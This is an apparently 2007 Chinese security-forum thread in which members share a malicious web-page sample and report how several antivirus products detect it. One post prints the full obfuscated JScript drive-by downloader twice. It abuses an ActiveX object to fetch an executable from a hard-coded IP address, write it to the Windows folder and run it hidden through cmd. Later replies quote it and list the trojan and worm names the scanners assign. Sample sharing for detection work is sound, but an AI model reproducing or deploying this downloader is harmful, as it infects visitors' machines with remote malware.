瑞星网页监控样本 小红伞独报

kp2006

哈

[ 本帖最后由 kp2006 于 2007-11-5 17:26 编辑 ]

hahacomcn

Begin scan in 'C:\Documents and Settings\Administrator\桌面\257245824160.rar'
C:\Documents and Settings\Administrator\桌面\257245824160.rar
  [0] Archive type: RAR
  --> 257245824160.tmp
      [DETECTION] Contains detection pattern of the VBS script virus VBS/Dldr.ADODBStrea

dikex

老东西，http://60.190.101.206/abc.exe

1. 
   
2. <script language = JScript>
   
3. function gn(rRaGEykU1){var Orh2=window["Math"]["random"]()*rRaGEykU1;return'~tmp'+'.tmp'}try{jswl=
   
4.     dl = "http://60.190.101.206/abc.exe"
   
5. ;var chilam=window["document"]["createElement"]("object");chilam["setAttribute"]("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var jswl2=chilam["CreateObject"]("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");var jswl3=chilam["CreateObject"]("Adodb.Stream","");jswl3["type"]=1;jswl2["open"]("GET",jswl,0);jswl2["send"]();jswlcn=gn(10000);var hHf$R6=chilam["CreateObject"]("Scripting.FileSystemObject","");var VgDnZXHt7=hHf$R6["GetSpecialFolder"](0);jswlcn=hHf$R6["BuildPath"](VgDnZXHt7,jswlcn);jswl3["Open"]();jswl3["Write"](jswl2["RESPONSEbODY"]);jswl3["SaveToFile"](jswlcn,2);jswl3["Close"]();var SmAcqIwGV8=chilam["CreateObject"]("Shell.Application","");exp1=hHf$R6["BuildPath"](VgDnZXHt7+'\\system32','cmd.exe');SmAcqIwGV8["SHellExEcuTe"](exp1,' /c '+jswlcn,"","open",0)}catch(i){i=1}
   
6. </script>
   
7. <script type="text/JScript">function init() { document.write("害虫");}window.onload = init;</script>
   
8. 
   
9. function gn(rRaGEykU1){var Orh2=window["Math"]["random"]()*rRaGEykU1;return'~tmp'+'.tmp'}try{jswl=
   
10. 
    
11.     dl = "http://60.190.101.206/abc.exe"
    
12. ;var chilam=window["document"]["createElement"]("object");chilam["setAttribute"]("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var jswl2=chilam["CreateObject"]("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");var jswl3=chilam["CreateObject"]("Adodb.Stream","");jswl3["type"]=1;jswl2["open"]("GET",jswl,0);jswl2["send"]();jswlcn=gn(10000);var hHf$R6=chilam["CreateObject"]("Scripting.FileSystemObject","");var VgDnZXHt7=hHf$R6["GetSpecialFolder"](0);jswlcn=hHf$R6["BuildPath"](VgDnZXHt7,jswlcn);jswl3["Open"]();jswl3["Write"](jswl2["RESPONSEbODY"]);jswl3["SaveToFile"](jswlcn,2);jswl3["Close"]();var SmAcqIwGV8=chilam["CreateObject"]("Shell.Application","");exp1=hHf$R6["BuildPath"](VgDnZXHt7+'\\system32','cmd.exe');SmAcqIwGV8["SHellExEcuTe"](exp1,' /c '+jswlcn,"","open",0)}catch(i){i=1}
    
13. 
    
14. 
    
15. 
    
16. function init() { document.write("害虫");}window.onload = init;

复制代码

qigang

RX20.17.01确实还没报。。

qigang

原帖由 dikex 于 2007-11-5 17:50 发表
老东西，http://60.190.101.206/abc.exe



function gn(rRaGEykU1){var Orh2=window["Math"]["random"]()*rRaGEykU1;return'~tmp'+'.tmp'}try{jswl=
    dl = "http://60.190.101.206/abc.exe"
;var chilam=w ...

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Backdoor.Win32.Agent.ymv

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网
软件版本：20.17.01

pmj_sh

检测到病毒: Trojan-Downloader.VBS.Agent.gb
文件: 257245824160[1].rar

seamonkey

原帖由 dikex 于 2007-11-5 17:50 发表
老东西，http://60.190.101.206/abc.exe



function gn(rRaGEykU1){var Orh2=window["Math"]["random"]()*rRaGEykU1;return'~tmp'+'.tmp'}try{jswl=
    dl = "http://60.190.101.206/abc.exe"
;var chilam=w ...

蠕虫名称:Worm.Win32.Jalous.y
程序:
C:\DOCUMENTS AND SETTINGS\OWNER\LOCAL SETTINGS\TEMPORARY INTERNET FILES\CONTENT.IE5\RABKKV4J\ABC[1].EXE
是蠕虫程序!
已成功阻止其运行,是否要删除此文件?

googlehack

这个附件只是一个片段，应该有完整的代码啊？

baichi

恩。是的。同意楼上的

capsshift

微点报。
蠕虫名称:Worm.Win32.Jalous.y

程序:
C:\DOCUMENTS AND SETTINGS\****\LOCAL SETTINGS\TEMPORARY INTERNET FILES\CONTENT.IE5\SRFB20TT\ABC[1].EXE
是蠕虫程序!
已成功阻止其运行,是否要删除此文件?
红伞报：

Virus or unwanted program 'TR/Dldr.Agent.45056 [TR/Dldr.Agent.45056]'
detected in file 'C:\Documents and Settings\****\Local Settings\Temporary Internet Files\Content.IE5\SRFB20TT\abc[1].exe.
Action performed: Deny access